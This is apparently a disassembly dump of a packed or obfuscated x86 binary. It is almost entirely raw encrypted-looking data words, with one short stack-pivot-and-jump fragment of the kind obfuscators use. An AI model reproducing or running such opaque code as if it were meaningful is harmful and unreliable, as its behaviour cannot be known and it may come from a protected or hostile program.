		dd 8B740C17h, 6233CA1Eh, 577E1569h, 0ACB7BEB2h,	0A7748FDDh
		dd 1662C1E2h, 0F10D460Fh, 5AB2577Eh, 0C91F8893h, 8F60E634h
		dd 40230AF5h, 863EF374h, 0CD88ECBDh, 0B2577E4Ah, 9A38486h
		dd 0BDF72C33h, 6D07D46Fh, 0A452BE82h, 0E06E7A46h, 5E21FE07h
		dd 81A8C68Fh, 28034DA8h, 0EB72767Fh, 6BDA1B2Fh,	0A8810C62h
		dd 0A58CA74Dh, 0DF496B0Bh, 634C4011h, 0A918639Eh, 0B1A4EC13h
		dd 3AC3F8DEh, 1960CBE5h, 25903D80h, 744B83A9h, 0A4C690FDh
		dd 54379C6Fh, 0E54E6461h, 9E51324Ah, 0A86EB935h, 30F1774Dh
		dd 40018651h, 4DA86ED5h, 0E8805DE1h, 55890D12h,	4C6708DDh
		dd 0F7641C67h, 2941AB5Bh, 0B9982DDDh, 0AEFC8937h, 4C5h
		dd 70B63431h, 170730F6h, 5E30F680h, 30F664C4h, 0F663FD7Dh
		dd 283A4E30h, 0AAF375E6h, 365456F3h, 2C3E0AFDh,	0D176B1CBh
		dd 0FE32410Ah, 88A336DDh, 6BCB9A18h, 9E395BDFh,	73Ch, 6B70B5B4h
		dd 0C8D5061Dh, 0A18A67F8h, 56EBF47h, 0FBC01923h, 0BA4237E0h
		dd 1C2C0461h, 788AFEC7h, 0CB5256BFh, 72510912h,	1A8D2559h
		dd 45008E35h, 437DB24Bh, 0D70791B3h, 120C8ACBh,	942250Ch
		dd 36E3B11Ch, 3A75B51h,	0F95AF9FAh, 58EF7D20h, 3F06E19Bh
		dd 0EEBD0D6h, 0F4427ECh, 3331E804h, 45B912A5h, 0EE30FDE7h
		dd 0C2F37C47h, 0E05C3BEDh, 2B9A5173h, 0B7D617A2h, 0FDB7BE99h
		dd 11905B79h, 0D6F9755Eh, 9B529A7Bh, 0D8ECBF0Eh, 0D71F4F42h
		dd 1172D798h, 9C50FBC8h, 834FD765h, 230CA47Dh, 0BF0EF1D8h
		dd 8F18D569h, 624BA4B9h, 71B2B583h, 0FD7D80A8h,	3CD34B8Eh
		dd 73D53CB7h, 88EEFA49h, 7561EA8Ah, 8D000006h, 5652BB7Ch
		dd 31371CCDh, 98E8F52Eh, 644CA986h, 0AB220BE0h,	0A8819BFEh
		dd 0EE36543h, 0E63FC325h, 5D92AB9Dh, 4D1E70h, 351A8EEAh
		dd 0CE143141h, 7018567Fh, 0C29630F6h, 0BDBE9FFBh, 83042FBEh
		dd 0A302C9EBh, 0AD8284D0h, 167F2813h, 36DDF2D3h, 5378CB9Ah
		dd 3511121Fh, 0BA30BDB4h, 74351112h, 0A6813BF0h, 0D09B0C27h
		dd 84996F19h, 3973B4B6h, 0BA738AFEh, 0D35A1953h, 828FDFC5h
		dd 0CD830EDEh, 0F1BFCD80h, 748BF1F5h, 6D3A05BFh, 0E200B141h
		dd 0A335774h, 26D5C6Dh,	87FBD0A3h, 2C3511E6h, 0A692FB58h
		dd 99E0D3E0h, 2B459AA3h, 25F447C0h, 369350D7h, 3A9C2A5Dh
		dd 7F556333h, 0A87225Dh, 0EEE6B3DAh, 8A958A95h,	819AAE1Dh
		dd 30679B30h, 65CC30F6h, 0BE99621Ah, 1B577CCFh,	0B030F630h
		dd 9EC7E0B9h, 30F6309Ch, 0FB775C2Fh, 3530F630h,	43EAFD2Eh
		dd 30718DC6h, 0CBE930F6h, 1FEEA100h, 0F63038B6h, 0CF589330h
		dd 0E3298186h, 7182C36h, 74952977h, 0F1D809D8h,	0FE77DE96h
		dd 49351AB3h, 351AB3C8h, 6020FD00h, 0D397B946h,	4162EDF7h
		dd 0B1000005h, 1A6E77B0h, 0E5C32801h, 4CA48162h, 281865BAh
		dd 0E7FEC714h, 64B54F32h, 0DA17291Fh, 0B273F7F1h, 69C65FA9h
		dd 5C794A0Ch, 351A8F1Eh, 1D401DB5h, 27B534FFh, 0E2D3BE8Eh
		dd 9625E240h, 0E3E3283Dh, 12AA8536h, 97FC3134h,	9532A4C7h
		dd 6D0DC83Eh, 0F267AF50h, 1686A68h, 0A5B88E26h,	56348h
		dd 0BF3121B7h, 0A335A36Ch
		dd 1A8FC43Ah, 45D96F35h, 953E81E8h, 351A8F59h, 58107BF2h
		dd 0C3A27B82h, 0E9BE73F5h, 1F2F138Bh, 9BE03DC0h, 0FABB6CE7h
		dd 18A1B73h, 0CE7E0000h, 0BD8B64FAh, 0D8D277A8h, 5DA6CBAh
		dd 0C6B9806Bh, 9189CCB2h, 0A871B671h, 0EAE3B205h, 30F60C94h
		dd 3293343Fh, 36DDE7C3h, 0A4215B92h, 351127B8h,	47EE1C20h
		dd 0B61FEE25h, 333ACC47h, 51C8E2F6h, 0AF0CB295h, 0AC7D4495h
		dd 1B6D76E1h, 0CAA37002h, 4FE34FFEh, 67FE4C64h,	8ADEADB6h
		dd 8FEFB871h, 8EC7A66Dh, 36DD5407h, 0AC153246h,	31863148h
		dd 0BB0A2568h, 8982D42Dh, 0BA6FC96Fh, 730373DAh, 14673511h
		dd 73F20845h, 9E593511h, 780D3D09h, 7400BAD9h, 438Eh, 55E93F00h
		dd 0CE520F98h, 0F48C65FAh, 0FE1C9E0Bh, 70CA20ADh, 0F66130F6h
		dd 0FA4D1CEFh, 0F6709DD1h, 6A3F3630h, 0DD8CD639h, 0BCF47F36h
		dd 54899DEBh, 6CA092F3h, 68C43511h, 9E0C47DAh, 9FFB7400h
		dd 9E000000h, 8A7DB24Bh, 705C923Bh, 7CF730F6h, 0E973C9ABh
		dd 9BA27830h, 49DC2A42h, 6D3C8F94h, 0F6700A60h,	11B6A130h
		dd 0F675F1B0h, 0F7283D30h, 65AECCEEh, 1C2AC982h, 0B0BB36E0h
		dd 8861FB31h, 4471C0A3h, 351FD326h, 0D3E5A28Dh,	0A0309049h
		dd 5DDF6E20h, 3769843h,	7B8E0000h, 0CC5751BAh, 2D32361Fh
		dd 8599EFF4h, 0DF6543A8h, 0FDAA210Ah, 42AB8084h, 2401E266h
		dd 9CF93ECCh, 775C9194h, 0EB074C1Fh, 40351B71h,	0B14B134Eh
		dd 9D368978h, 30F67061h, 563CAh, 0FDAA952Fh, 0B469FCF4h
		dd 0B24B32AFh, 60E5437Dh, 0F1C7A68Fh, 0ABE8B16Ah, 0F6F04A34h
		dd 0F0130330h, 517330F6h, 0A5A22B9Ah, 836E3E9h,	0C5E79721h
		dd 708EC796h, 0DB351A08h, 8176B10h, 0B5BC351Ah,	0E3F2DBAAh
		dd 723331E0h, 0DC9129FBh, 3242D98Fh, 2E3A9h, 290E1300h
		dd 8A5FE4CCh, 63C047A1h, 0C7182E1Ah, 0B9728AFEh, 2990395Ch
		dd 8BFDC613h, 5157BC75h, 390F14D1h, 0E8E2CB24h,	727CF2DBh
		dd 0BBD7351Bh, 20B24B9Eh, 86A573F8h, 5BF86ACh, 629C1E27h
		dd 0E5D83F57h, 0CA94F1D8h, 318063A8h, 9755CABBh, 0D277DE77h
		dd 0DD690AF1h, 0E880AB36h, 1169ED6Dh, 8DBD8935h, 0A559F8h
		dd 2C0E74h, 1D510000h, 0C61329FFh, 8B7A45AEh, 0DD8CBFC2h
		dd 0A5DF1636h, 116C3E38h, 1B515A35h, 0AA952F04h, 0AC41F1FDh
		dd 74009EA5h, 0CF42h, 0B24B0500h, 1460437Dh, 654BDC11h
		dd 0DF0C17DFh, 39735AA5h, 0D40D1266h, 37904DD0h, 0A9C31C21h
		dd 9215CA53h, 196FC046h, 56912B04h, 0B88FF0F1h,	7430F675h
		dd 7F4D3CF1h, 2D3137E4h, 2A1E57F0h, 1D6BDA13h, 0C9AD207h
		dd 0E4A967F4h, 0C9DE4BEh, 6DA6C468h, 0B96319Ah,	343F36DDh
		dd 0F3085C2Fh, 0EB096126h, 6F744120h, 0C2330760h, 0B84C986Bh
		dd 162E1A63h, 4E8143C5h, 22B2D993h, 1CBB9h, 0C1263B00h
		dd 0A2778CE4h, 1BD86F59h, 0FF303632h, 518A9296h, 31A81174h
		dd 9395FE2Bh, 794F548Dh, 0C1270CE9h, 0C09AE33Ch, 7394EAE3h
		dd 933F351Bh, 68FACEF6h, 9D0AF58Fh, 1378B14Bh, 6CDF1015h
		dd 70BA309Dh, 0C61130F6h, 0B7856041h, 0EDAA7FACh, 0B534FF1Dh
		dd 0DD8CF118h, 2E915836h, 0CDB145DAh, 7A7390A3h, 0E5BF6873h
		dd 11C0FE78h, 0FD3AC835h, 0CE165C3h, 44BA1374h,	0EF3511C0h
		dd 0E2107844h, 64927E18h, 2C1D8A1Eh, 6A226A40h,	0D272E1BDh
		dd 0D51173FFh, 78000000h, 437DB24Bh, 3B8A5FE5h,	58257EDh
		dd 90982C7Fh, 5A19CD9Bh, 6FE06F44h, 4CB84C59h, 7BF8ADBh
		dd 0EA7330F6h, 45D82835h, 6275B70h, 0A58C30F6h,	7092225Ah
		dd 0CB509EA6h, 0B29D661Eh, 6649A33h, 64CF30F6h,	0CDDBAA1Dh
		dd 66AA2FF7h, 0E0A16643h, 36DDF6A1h, 0BAC42108h, 0F4C70E98h
		dd 9DB69D9Ah, 146033B2h, 1849DE13h, 33076BDAh, 6AC35B91h
		dd 4D30E952h, 303503E2h, 0B5832AFFh, 95E9E2AFh,	3E30F8ABh
		dd 0E1C72C37h, 558A935Bh, 57C9D01Bh, 0D9935897h, 99933C44h
		dd 0E9000000h, 0B2B69F58h, 1D6B70A9h, 0E4CC290Ah, 40A08D62h
		dd 4F066FBCh, 8C5DE7DAh, 62BF41A7h, 0DA1B2F19h,	0B16EF7F1h
		dd 24913254h, 351B74C6h, 4B28656Dh, 151378B1h, 99F6DF10h
		dd 437DB24Bh, 0A68F60E5h, 4A3DF614h, 7D37E87Eh,	0D4615B2h
		dd 36E36914h, 2006BEB9h, 8DFBC01Dh, 400DA778h, 612FA295h
		dd 47A0AEB8h, 2C0461BEh, 0DBACC419h, 0BBE1A6CDh, 0C8334DA2h
		dd 68FF68BCh, 5895A9BFh, 558A93E9h, 8A1FCC57h, 35C56DEAh
		dd 0B19A53EAh, 4771AEB7h, 39Ch,	8DCAC300h, 4771B64Bh, 0E9835CE1h
		dd 9ED60F13h, 417BB848h, 0F08861FBh, 0AFD9122Ah, 5068C559h
		dd 4BC758Ah, 0B4CC1D26h, 0E08950FEh, 4BD55h, 0E8010000h
		dd 4E8835Dh, 5C240487h,	76D668h, 243C8900h, 5E08950h, 4
		dd 42Dh, 24048700h, 2414895Ch, 0ECF94E68h, 243C8B05h, 4C481h
		dd 8B540000h, 0C4812414h, 4, 8428F57h, 5324148Bh, 0C381E389h
		dd 4, 8704C383h, 8B5C241Ch
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5527B7
; ---------------------------------------------------------------------------
		db 0BAh
		dd 20FD2453h, 899A9A15h, 35850079h, 60B8A899h, 305ED05h
		dd 21E0FFC5h, 7A14E394h, 3A5DAA86h, 4E2A475Dh, 4E6CDCE9h
		dd 0E828D82Dh, 7, 4F2183D7h, 0F57875Fh,	58Ah, 8F01BF00h
		dd 0E9593FD0h, 6, 84D245C6h, 0C181DC39h, 685Ch,	9FEE51BBh
		dd 0A1F38166h, 0E9669FF7h, 13h,	0CC7C72B6h, 0C59408B7h
		dd 0A726D5FAh, 987F178h, 0FFC4E572h, 81666031h,	8A4A8DEEh
		dd 815A61C1h, 7FF64CEAh, 28F0F08h, 0B4000000h, 0AEA81D6h
		dd 0E8114F97h, 0Bh, 0E75F6FE6h,	3D706EF0h, 81372EA9h, 0F50F4BC6h
		dd 0EA815E2Fh, 4D88A5B2h, 56940EBFh, 6611897Eh,	0E983C78Bh
		dd 37C78104h, 8365E866h, 850F01EBh, 0FFFFFFA7h,	8E8h, 0DD7E1D00h
		dd 0C5293515h, 605BFC3Dh, 209ABBB8h, 13E85Dh, 0B4350000h
		dd 4C8D4C24h, 9FB55104h, 0C2734CC2h, 469A69D8h,	8E0FC9h
		dd 58000000h, 55C38161h, 0F00006Fh, 28Fh, 0BAE88A00h, 1BAEh
		dd 8DF0BE66h, 816633FFh, 58E833E7h, 0E881CB8Bh,	271A935Bh
		dd 16CF8166h, 8CC0810Dh, 514B8EE6h, 1880Fh, 59F50000h
		dd 5DC081h, 8B661ECAh, 0BF6650F1h, 38FFB7Bh, 36E7BE66h
		dd 6640EB81h, 0F1B92A1Eh, 81116FBAh, 1E663CC3h,	0B9E9812Ah
		dd 837D3F71h, 850F01EAh, 0FFFFFFA8h, 8D8DFE8Bh,	5ED0814h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 25C35343h
		dd 8D8951F8h, 5E72315h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 28C35040h, 195095Ch, 0C705E70Dh, 0E708B985h
		dd 74F405h, 9985C700h, 5E70Ch, 0F000000h, 685h,	29BD8B00h
		dd 0FF05E72Ch, 0E7129DB5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 7A25624Bh
		dd 0C9B02946h, 0BE9h, 3E22CB00h, 7FD12C9Ch, 5FD93DAh, 1CD9509h
		dd 0F38B05E7h, 32CD95FFh, 7E905E7h, 3E000000h, 25CCEAACh
		dd 6ACEA4h, 1A1D95FFh, 0C08B05E7h, 0D41A7AEBh, 827802C6h
		dd 0F08174F8h, 447E72F8h, 0DBD4E542h, 0BF8C7DA2h, 55D39A04h
		dd 0F3F16C74h, 0A59A0E27h, 7D94A094h, 0B5559A1Eh, 0E64B91BBh
		dd 98090D9Ah, 0C1A589BEh, 7F16D7DFh, 77BD5489h,	0E6F9448Bh
		dd 44BD7BA8h, 0D11FB13Bh, 6BFD3188h, 0EF89B81Eh, 0C29228A9h
		dd 85EC3681h, 198A1479h, 0B03CAF25h, 0B0CC67C2h, 207BCDB2h
		dd 909CE2E3h, 6C58B897h, 234A3755h, 91BC8581h, 7D0079EBh
		dd 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h
		dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h,	0BD897D60h
		dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h
		dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h
		dd 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h,	0F0009F89h
		dd 0D7C77156h, 1800BEB3h, 0C4D75671h, 0C273E2ADh, 0E94CAB90h
		dd 1074h, 0ED0B1868h, 7459E905h, 1D68FFFAh, 0E905ED0Ch
		dd 0FFFA744Fh, 0ED0CEF68h, 7445E905h, 5868FFFAh, 0E905ED0Eh
		dd 0FFFA743Bh, 0ED0EF068h, 7431E905h, 8F68FFFAh, 0E905ED0Fh
		dd 0FFFA7427h, 0ED101D68h, 741DE905h, 9D68FFFAh, 0E905ED10h
		dd 0FFFA7413h, 0ED118168h, 7409E905h, 6668FFFAh, 0E905ED12h
		dd 0FFFA73FFh, 0ED13EB68h, 73F5E905h, 1768FFFAh, 0E905ED17h
		dd 0FFFA73EBh, 0ED183768h, 73E1E905h, 0D9C7FFFAh, 0C6C453FDh
		dd 0D6C368E0h, 0CADD6AE6h, 0D1D966EAh, 275E67E9h, 0D9774773h
		dd 0D9774772h, 0D7795972h, 0D27E4048h, 5E22F7DFh, 55C698EBh
		dd 7A527026h, 1162404Ah, 0BBF181B9h, 0A8AFB6E4h, 20A754Dh
		dd 0DF602C3Ch, 0C090EECEh, 75BD03F5h, 0E63700C3h, 11F4F887h
		dd 0AF1F1CB9h, 0CB14C95Ch, 7F27EFF7h, 928ED65Ah, 279CEDC6h
		dd 0C6928E51h, 0FF2E0152h, 0B93B9CDFh, 0CFC6928Eh, 81497A1Ch
		dd 928E4C34h, 951BBEC6h, 0AEC6928Eh, 75BD8C5Dh,	18227445h
		dd 0BE99746h, 71E3B6F5h, 5361F20Ch, 6Bh, 0BE7D3517h, 0B901F61h
		dd 2EC2C13Ch, 0EFD8676Fh, 7BBA93EFh, 36834B73h,	0C375E742h
		dd 54357041h, 0C95CFBFBh, 172FA7F0h, 0D3E7F9D6h, 7E5B7343h
		dd 0C692108Ah, 57DB889h, 0B800955Dh, 0BBC69210h, 0D6AE0B6Ah
		dd 43C69210h, 2D1A6054h, 0E488D6E6h, 63EF5377h,	0AA3A2EA8h
		dd 9A61F19Ch, 0CCh, 0DBAD0830h,	0D8C6921Ch, 523AAC8Fh
		dd 3906547Ah, 9365B0F1h, 90C375E2h, 0DF287647h,	0AA95E9CDh
		dd 2D8C5C62h, 0C375E650h, 63EDF1DBh, 0DFCCF4D4h, 7EC2D7FFh
		dd 75C375E6h, 0E887DB24h, 6C490104h, 0C95CF2D3h, 8DB19FE8h
		dd 7B4777A2h, 0EECEDF12h, 477AB990h, 0D7E2E4A9h, 0CCB89451h
		dd 0C189C112h, 2A09317Eh, 0EBE3DBC7h, 20229623h, 0D021C8A5h
		dd 0C6F05F95h, 2C960BF0h, 825E7021h, 0DB3D9h, 785E4A00h
		dd 63434BD0h, 615946EDh, 654940EFh, 64525CEBh, 0F6AAD9E4h
		dd 0F15EF2C8h, 0F15EF2CAh, 0CF54F4D4h, 5257F9DDh, 0E9D3A570h
		dd 0A5D0C698h, 566452F5h, 5B7BADFAh, 9A6E4B73h,	60C375E2h
		dd 75E2E355h, 0C697E0C3h, 96BAB6F5h, 0C0A80D35h, 0C3C375E2h
		dd 0E00CB3F2h, 42ED953Dh, 0A1066555h, 0C95CFEC8h, 0F34694E5h
		dd 0C692FE01h, 4F93AB94h, 38062860h, 16A32794h,	0F951842h
		dd 8846972Ch, 5A02C7C3h, 92E0897Fh, 7AB98AC6h, 0F28C35AFh
		dd 0B31761h, 874F0000h,	92EC4E32h, 397445C6h, 5D7A52A1h
		dd 9A3ADE23h, 0D4FAD201h, 1B64BA8Bh, 6ED32F2Fh,	0C3751591h
		dd 222E3018h, 0CF133315h, 71593CB0h, 4C348149h,	47C37515h
		dd 0B9523776h, 0CFC95C01h, 36042A60h, 0D62794D7h, 5A7A53FCh
		dd 0D21ED51Bh, 6B3E9B33h, 68CCB783h, 0BEE8B71Fh, 58A68486h
		dd 3282071h, 4F7A2717h,	2370221Bh, 0CAE5407h, 414F0000h
		dd 5E4CDB75h, 5E4BD078h, 4245D27Eh, 5941EE62h, 0AFC6EF61h
		dd 418FCFFBh, 418FCFFAh, 5FF1D1FAh, 5AF6D8F0h, 0D65A7F57h
		dd 0EDC698EEh, 0D35C8BEh, 75E2C0A8h, 0B3F2C3C3h, 0E464525Ch
		dd 0E7694D5Fh, 206A3523h, 1943C02h, 0C375E2BFh,	0DB1A6BB4h
		dd 0ACF2D4F4h, 0EB654943h, 2D29143Bh, 56BDF8D1h, 0D6795169h
		dd 0A38CD2E8h, 15744A6Ah, 0AE99E9C4h, 1DF0587Eh, 0D1B4384Dh
		dd 0EA5FDCF9h, 82ADC95Ch, 6199A089h, 97CB150Ah,	4C966746h
		dd 31EA0B71h, 96B4FBA6h, 576867B0h, 0BEE769E2h,	88C2C329h
		dd 2D4D1C2Dh, 6489934h,	1AD4A12Eh, 0DF1E31A8h, 6528C4E3h
		dd 9101486Dh, 7142CA38h, 0F0D6F659h, 0F5D9F358h, 93B0A708h
		dd 88D36F6Dh, 0BDCh, 894777BDh,	864A68A2h, 804870B9h, 9C4C90BBh
		dd 9DB38BB7h, 0E1298130h, 0FD2877D9h, 0E32877D9h, 0E6260DC3h
		dd 29B908C0h, 98EE248Ch, 9ACC3FC6h, 414A7A52h, 35092D7Fh
		dd 64BA8BD4h, 34E9A54Bh, 0A9AFF1BBh, 0C0F6200Fh, 84293FAh
		dd 8EAEFF40h, 4815CAAFh, 7852C95Dh, 9264EB5Dh, 4E9FE8C6h
		dd 607E582h, 83E0694Ch,	0ACFDCCBAh, 4B09EB4Eh, 0AC7FC8BBh
		dd 0E431F92Ah, 0C8BB4B1Ch, 4B65CBEEh, 2D7EC8BBh, 6530735Ch
		dd 5C0AE5EBh, 53D9h, 0EE02ED00h, 0B298A72Fh, 376586A5h
		dd 0F587F04h, 0D39BDA33h, 5D4F78C6h, 0A42E7FC9h, 576753FCh
		dd 2FD65A7Fh, 9CEDC692h, 795972A1h, 9B172FD7h, 866F2213h
		dd 0DDA10665h, 44C692FAh, 0CABE1B44h, 0C9C692FAh, 9AA1AFF8h
		dd 0BE9E8FB1h, 0F94A116Dh, 9C00000Ah, 0A72FEE02h
		dd 4FAEB098h, 0EBCCB207h, 0FACBC962h, 0A71028D0h, 0AD333C2Ah
		dd 0DDCF2201h, 0BF433580h, 0E40C698h, 98BFC5ABh, 0BC8DDEC6h
		dd 7656FD53h, 925A0A50h, 98BFB107h, 261B2C6h, 3AAC717Fh
		dd 8FB6BE9Fh, 606ABBCCh, 88B697B8h, 0C52A383h, 0B993FE3Dh
		dd 3A123D95h, 0ECECD514h, 0D4F44391h, 3060D8F2h, 0C585271Eh
		dd 0EB84FA39h, 6B4E0005h, 0C2863066h, 3F1F0C63h, 559A31EEh
		dd 0EA467612h, 0A73F1h,	381E0A00h, 23030B10h, 2119062Dh
		dd 2509002Fh, 24121C2Bh, 0B6EA9924h, 0B19EB288h, 0B19EB28Ah
		dd 8F94B494h, 1297B99Dh, 0EC9365B0h, 6590C698h,	0E25CD835h
		dd 5399C375h, 662018B2h, 4FB559A6h, 68105A99h, 9EFCD8C7h
		dd 8A8B6C4Fh, 47C96239h, 8B945C76h, 4F6FBC82h, 0F8D03F7Eh
		dd 0FB2D7AD6h, 0EECBF3DBh, 0C698391Ah, 0D1E9D619h, 755DA580h
		dd 0FDB7E03Dh, 79B4C9A0h, 0EFE7A64Ah, 1D615540h, 8ADBFBD2h
		dd 519623ABh, 16CCB0CBh, 738B58C5h, 7237025h, 9DB54h, 4076A200h
		dd 4B6BA388h, 4971BE85h, 4D91B887h, 4C8AB483h, 2E82319Ch
		dd 2976DAE0h, 2976DAE2h, 270CDCFCh, 0BA0FC1E5h,	0EC3B8D28h
		dd 0CD38C698h, 547A529Dh, 0CFEF3906h, 0B9C180F3h, 0D98A41D3h
		dd 3DB0367h, 35470000h,	8870450Dh, 8BC375E2h, 0E20BFDBAh
		dd 24F1C375h, 0C375E25Ch, 64B50657h, 97767A09h,	0EBAD9A3Fh
		dd 794AC962h, 0F8DECE51h, 0E3C1CB50h, 6BB780B4h, 0EDE9D47Bh
		dd 0EB4B298Eh, 628EC698h, 498E2BA3h, 2ECCB019h,	7D16EAD4h
		dd 20711CE5h, 24C8787Bh, 0FBE07870h, 93Ch, 69E7D7DDh, 66EAC8C2h
		dd 60E8D0D9h, 7CECF0DBh, 7DD3EBD7h, 41492150h, 5D48D779h
		dd 4348D779h, 4646ED63h, 89D9E860h, 98ED442Ch, 7A2C5FC6h
		dd 6547A52h, 0F3CFEF39h, 0D3B9C180h, 67D98A41h,	33C03h
		dd 5CD84700h, 99C375E2h, 5E5DBB53h, 0B9348300h,	80536668h
		dd 0C9C962CEh, 12ED6F8h, 8CDD2119h, 644A42B1h, 694D5FE4h
		dd 97767A15h, 3E659A3Fh, 54FBCCB0h, 121F5274h, 0B6F5D42Ah
		dd 0CE07F4C5h, 67024C6h, 8AEB12Ah, 414F0000h, 5E4CDB75h
		dd 5E4BD078h, 4245D27Eh, 5941EE62h, 0AFC6EF61h,	418FCFFBh
		dd 418FCFFAh, 5FF1D1FAh, 5AF6D8F0h, 0D65A7F57h,	0EDC698F2h
		dd 7A52C8BEh, 0FB2D7254h, 47A687DBh, 3A1C0C7Bh,	0CACC9FE4h
		dd 0D98A4EC6h, 2A77E67h, 0D8480000h, 0C375E25Ch, 18B25399h
		dd 62EBAFBDh, 0F3DB24C9h, 0F65A7CACh, 59417FA9h, 0ADCA1061h
		dd 0A1745E3Fh, 0CCB0015Ch, 64930859h, 8C702499h, 82E27B4h
		dd 0C1CF0000h, 0DECC5BF5h, 0DECB50F8h, 0C2C552FEh, 0D9C16EE2h
		dd 2F466FE1h, 0C10F4F7Bh, 0C10F4F7Ah, 0DF71517Ah, 0DA765870h
		dd 56DAFFD7h, 6DC698F2h, 7A52483Eh, 0EF390654h,	0E29D63B6h
		dd 4596C375h, 0CED92674h, 75B090EEh, 2761CEDDh,	0A5919CD3h
		dd 1B236E59h, 400BE6C7h, 66EEF446h, 86E9D1D9h, 735AA086h
		dd 8B19A130h, 3C93BD81h, 67D977A4h, 0A40CA951h,	0BFC375C1h
		dd 0C13E8217h, 0E435C375h, 5274549Bh, 7AA13h, 3E3C0000h
		dd 1E5h, 0E256D868h, 8B94C375h,	3C43A282h, 0D0E5EDB0h
		dd 0C962EB19h, 1737175Ah, 0B48CC6h, 0D87F4FD8h,	51FEF437h
		dd 258B2E77h, 3EC69803h, 0E74C9CEDh, 22BD81A5h,	0DF87CFCEh
		dd 34774770h, 0B0E86E53h, 20136BCCh, 0C838BD6Ah, 0A94E331Ch
		dd 71702657h, 74A82D9h,	0E5D30000h, 0FAD07FD1h,	0E22F74D4h
		dd 0FE2976DAh, 0FD2572DEh, 13A273DDh, 0E56B535Fh, 0E56B535Eh
		dd 0E36D4D5Eh, 0FE527454h, 4A3E9BCBh, 49C698F3h, 7A526C5Ah
		dd 0EF390654h, 8584F3CFh, 38125DA1h, 2BB0C41Ah,	0DF7703AFh
		dd 2A704670h, 0E2A91FBAh, 59AAC375h, 1CBA2D08h,	10BA9C8Ch
		dd 0E43A020Fh, 25AAA685h, 67D98EABh, 1099h, 1E3E2D00h
		dd 74000001h, 0E5B6823Ch, 75B05094h, 236A3565h,	8FEE3F03h
		dd 75E2432Ah, 0BB5A96C3h, 3F1F0C13h, 23AB8AE3h,	62EB2896h
		dd 485ED6C9h, 5C0FEF1Dh, 0C617E4C7h, 4569A38Ch,	4A6CBC8Bh
		dd 89955B74h, 9812442Ch, 3D0E5FC6h, 60C8ED95h, 63C69812h
		dd 3E9BD312h, 0CCB0F9C9h, 173D7F37h, 0C136ED98h, 0B29BE7C7h
		dd 7EB10261h, 43380931h, 70265FA8h, 658BD068h, 34000006h
		dd 3502CE08h, 301F3111h, 32193707h, 0E153B1Bh, 8F163A00h
		dd 4076A0F8h, 4074A388h, 4A6AA388h, 4F6FB986h, 13A62081h
		dd 0C698F0ADh, 520377A6h, 775C4A7Ah, 0D79D1148h, 24AEFF89h
		dd 75022F91h, 8ADB24C3h, 7D414BB4h, 0B8DE8D21h,	0C0F6200Fh
		dd 7D5093FAh, 0C6C50B2Bh, 67D8AE4Eh, 77Eh, 423E4800h, 68000000h
		dd 1C226A35h, 0F4DAF221h, 76464DD2h, 0ACFCCB37h, 80CBB48Ah
		dd 2562AA06h, 75E22890h, 0C7C42BC3h, 993C96E7h,	0C375E217h
		dd 0D8F2C32Ch, 0AC095477h, 0C375E2C4h, 61BD8EDFh, 74272D08h
		dd 27h,	547A52A2h, 996F4A72h, 9AC375E2h, 0A1146A49h, 0C375E2DCh
		dd 0B2FC430Bh, 9036A984h, 0FD281830h, 90E1C5C7h, 35D98947h
		dd 5D78216Ah, 0C375E2EBh, 704E9FE8h, 0D5F7DA19h, 309AA2EFh
		dd 75E213E5h, 0F6C710C3h, 3F8114DCh, 34C375E2h,	19B688EBh
		dd 0A09832D3h, 0E9D45C94h, 264095EDh, 882DA984h, 0C962FF22h
		dd 0E3DDCE21h, 69BA8BABh, 0E8CEDE61h, 0EDF1DB60h, 1BFAF691h
		dd 0F60566B3h, 0D122CC8Fh, 507656F9h, 6DFEB67Eh, 21744EC1h
		dd 928B7D3Ah, 0C688C8AFh, 0AF920DF3h, 0E43506C8h, 0ACFC4B89h
		dd 32CB48Ah, 0CD09340Ah, 734F98F1h, 48A4DB1Ah, 70450D45h
		dd 0C8AF9288h, 8510BA8Bh, 0C8AF9233h, 0CE84E730h, 868FE6EBh
		dd 13351AC2h, 3203F033h, 11F7BC4Dh, 8FCC6476h, 4E0h, 854B73B9h
		dd 824E6CBEh, 9C4C8CB5h, 98B094B7h, 99B787B3h, 0FD257D34h
		dd 0F92473DDh, 0E72473DDh, 0EA2209C7h, 2DA504C4h, 98F12088h
		dd 86F023C6h, 414A7A52h, 0F6BE1061h, 9B5860A9h,	0C375E215h
		dd 0A492DD2Eh, 0B2995796h, 5F7FAA9Ah, 0C5C7300Eh, 7B529DE1h
		dd 1A604045h, 449CE233h, 0F6E82BC3h, 0ADF930C1h, 0B6F5B18Dh
		dd 5318AE10h, 7AADF237h, 1D614544h, 4E9FE3CCh, 2608006Fh
		dd 0C8EB94ACh, 0BDB6F0h, 0F6F2D53Eh, 3F7E92E0h,	0DF42D231h
		dd 0ACF367D8h, 38075B63h, 0D4FECF0Fh, 75597FC1h, 0C82B74C3h
		dd 2973h, 0EE027700h, 0A412A72Fh, 93C95D30h, 0E6270842h
		dd 0F55A0AC6h, 0C8B18CCCh, 0C692AC62h, 4789ADFFh, 0AFF3D3F8h
		dd 40F2Ch, 6A357A00h, 9F220121h, 0BF1A4C51h, 0C95CF0FAh
		dd 5B2A7FFh, 0E03A1C0Ch, 0F1FCA1Bh, 0A9FAD32Fh,	11625846h
		dd 84AAE2CDh, 16287DC2h, 0E1C81634h, 826D5590h,	0BF2DCFCBh
		dd 9BE4CAC0h, 193D6C33h, 0CD89E4C5h, 0CE0C3A05h, 0B2950AEFh
		dd 0E3ABCCBBh, 8065515Ch, 0C8BBB238h, 0F36EE33Bh, 0AFA9B7E7h
		dd 0DFA1745Eh, 0D4C8BBE5h, 83DBA88Bh, 0C1C51CE3h, 0BA7199E1h
